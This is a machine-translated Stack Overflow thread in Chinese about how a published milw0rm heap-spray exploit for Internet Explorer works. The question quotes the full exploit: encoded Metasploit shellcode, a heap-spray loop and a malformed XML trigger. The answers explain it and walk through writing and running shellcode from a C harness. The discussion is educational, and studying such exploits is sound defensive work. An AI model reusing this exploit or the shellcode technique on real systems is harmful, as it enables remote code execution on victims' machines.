这种milw0rm堆喷利用如何工作？

145

我通常没有阅读JavaScript代码的困难，但是对于这一点，我无法弄清楚逻辑。该代码来自4天前发布的漏洞利用程序。您可以在milw0rm上找到它。

这是代码：

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

我相信这就是这样做，并且我希望您能为我误会的部分提供帮助。

变量shellcode包含打开的代码calc.exe。我不知道他们是如何找到那个奇怪的字符串的。任何想法？

第二件事是变量spray。我不明白这个怪异的循环。

第三件事是memory永远不会在任何地方使用的变量。他们为什么创建它？

最后一件事：XML标签在页面中做什么？

目前，我有很好的答案，但大多数都是非常笼统的答案。我想对代码的价值做更多的解释。一个例子是unescape("%u0a0a%u0a0a");。这是什么意思？为循环同样的事情：为什么开发者写：length < 0xd0000？我希望得到更深刻的理解，而不仅仅是这个代码的理论。

— 帕特里克·德斯贾丁斯
source

您应该研究堆喷涂：en.wikipedia.org/wiki/Heap_spraying

— BobbyShaftoe，

我们如何成功运行此漏洞利用？我们必须在IE中运行它吗？

— bad_keypoints 2013年

320

Shellcode包含一些x86汇编指令，这些指令将进行实际利用。spray创建将要放入的长指令序列memory。由于我们通常无法找到外壳程序代码在内存中的确切位置，因此我们nop在其前面放了很多指令，然后跳到那里的某个地方。该memory数组将保存实际的x86代码以及跳转机制。我们将精心制作的XML馈送到存在错误的库中。对其进行解析时，该错误将导致指令指针寄存器被分配到我们利用程序中的某个位置，从而导致任意代码执行。

为了更深入地理解，您实际上应该弄清楚x86代码中的内容。unscape将用于将字符串表示的字节序列放入spray变量中。这是有效的x86代码，可填充很大一部分堆并跳转到Shellcode的开头。结束条件的原因是脚本引擎的字符串长度限制。字符串长度不能超过特定长度。

在x86程序集中，0a0a表示or cl, [edx]。就nop我们的利用而言，这实际上等效于指导。无论我们跳转到的何处spray，我们都将转到下一条指令，直到到达shellcode，这是我们实际上要执行的代码。

如果查看XML，也会看到0x0a0a它。准确描述发生的情况需要对漏洞利用有特定的了解（您必须知道错误在哪里以及如何利用该漏洞，我不知道）。但是，似乎我们迫使Internet Explorer通过将设置innerHtml为该恶意XML字符串来触发错误代码。Internet Explorer尝试解析它，而错误代码以某种方式将控制权交给了数组所在的内存位置（由于它很大，因此跳转到该位置的可能性很高）。当我们跳到那里时，CPU将继续执行or cl, [edx]指令，直到in到达存储在内存中的shellcode的开头。

我已经反汇编了shellcode：

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

理解此shellcode要求x86汇编知识和MS库本身的问题（要知道到达此处时系统状态是什么），而不是JavaScript！该代码将依次执行calc.exe。

— 梅尔达德·阿夫沙里（Mehrdad Afshari）
source

13

感谢您为此所做的努力。+25声望和我的尊敬。谢谢

— Patrick Desjardins

20

很好的答案，但好主-突然我对计算机不满意;-)

— 用户名2009年

50

那些设法提出这类漏洞的人们感到惊讶。如果他们足够聪明，可以借此入侵某人的银行帐户，则应得到所有可以窃取的金钱；）

— 马丁（Martin

8

如果有一个对SO有好的答案的神殿，那就在其中。

— 圣哈辛托2009年

6

Disassemby似乎是荒谬的，完全是随机的。那是不对的。我尝试交换字节，假设字符串中的字符存储在little-endian中，但这没有帮助。

— JuhoÖstman，2010年

10

这似乎是对Microsoft发布的紧急补丁程序的最新Internet Explorer错误的利用。它在Microsoft XML处理程序的数据绑定功能中使用了一个缺陷，该缺陷导致堆内存被错误地释放。

Shellcode是发生错误时将运行的机器代码。Spray和内存只是在堆上分配的一些空间，以帮助发生可利用的条件。

— 蒂姆·法利
source

您认为Chrome的扩展程序可能会发生这种情况吗？

— bad_keypoints

3

堆喷涂是利用浏览器内容的常用方法，如果您喜欢它，则可以找到以下几篇文章：http : //sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

— 博士邪恶
source

2

每当我在利用程序讨论中看到未解决的内存时，我首先想到的是利用程序是某种缓冲区溢出，在这种情况下，内存要么导致缓冲区溢出，要么一旦缓冲区溢出就被访问。

— 布赖恩
source

在这种情况下，这不是堆损坏，基于堆的缓冲区溢出或基于堆栈的缓冲区溢出：blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx

— 格兰特·瓦格纳

0

这来自metasploit，这意味着它正在使用metasploit外壳程序代码之一。它是开源的，因此您可以去获取它：http : //www.metasploit.com/

— 博士邪恶
source

0

请参见HTML中的字符编码。

它是编码为字符串的二进制数据，JavaScript正在解码。

XSS的常见形式也是如此。

您可以在此处查看所有编码技巧：

http://www.owasp.org/index.php/类别：OWASP_CAL9000_Project

— 乍得格兰特
source

0

简单的shellcode示例

我相信汇编和AT＆T语法x86的世界非常好（培训中的向导）。

设置文件：vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

像这样编译：as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

现在，您有了一个可以打印出您好世界的二进制文件。将二进制文件转换为shell代码类型：objdump -D shellcode

您将获得输出：

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

现在，如果您在第四行显示文字，您将看到： 400078: eb 1a jmp 0x400094

表示部分eb 1a的是汇编指令的十六进制表示形式，jmp one其中“一个”是字符串的内存地址。

准备要执行的Shellcode，请打开另一个文本文件，并将十六进制值存储在字符数组中。要正确格式化外壳程序代码，请\x在每个十六进制值之前键入a 。

根据objdump命令输出，接下来的shell代码示例将如下所示：

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

本示例对数组使用C。现在您有了可以写到标准输出“ hello world”的shellcode

您可以通过将shell代码置于漏洞中来对其进行测试，也可以编写以下c程序对其进行测试：

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

要编译程序，请输入：

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

运行与./run 您知道有简单的shellcode的发展是在Linux Mint的/ Debian测试的工作示例。

— marc_s
source

1

不要int 0x80在64位代码中使用32位ABI。对于内核中的字符串，它将失败，因为内核仅查看syscall参数的低32位。如果以64位代码使用32位int 0x80 Linux ABI，会发生什么情况？。（在那种情况下，您将创建一个无限循环，因为sys_write它将返回-EFAULT，并且mov $1, %al将高位设置为1，因此您将获得-ENOSYS而不是sys_exit）。同样，在64位代码中，您可以jmp转发字符串并使用相lea对于RIP 的地址来获取地址，而不是调用/弹出。

— 彼得·科德斯

1

对于默认情况下构建PIE可执行文件的gcc，这也将失败，因为即使您的静态存储char数组也将位于低32位之外。（顺便说一句，顺便说一句，那么它将const char payload[]在文本段（在.rodata节中），您将不需要-z execstack。）

— Peter Cordes

1

而且，movl 4, %rax包含一个零字节（并且由于操作数大小不匹配而不会汇编，并且缺少a，$因此4是绝对地址）。我认为您发布了源代码的早期版本。我之前的评论来自查看添加sys_exit呼叫的反汇编。

— 彼得·科德斯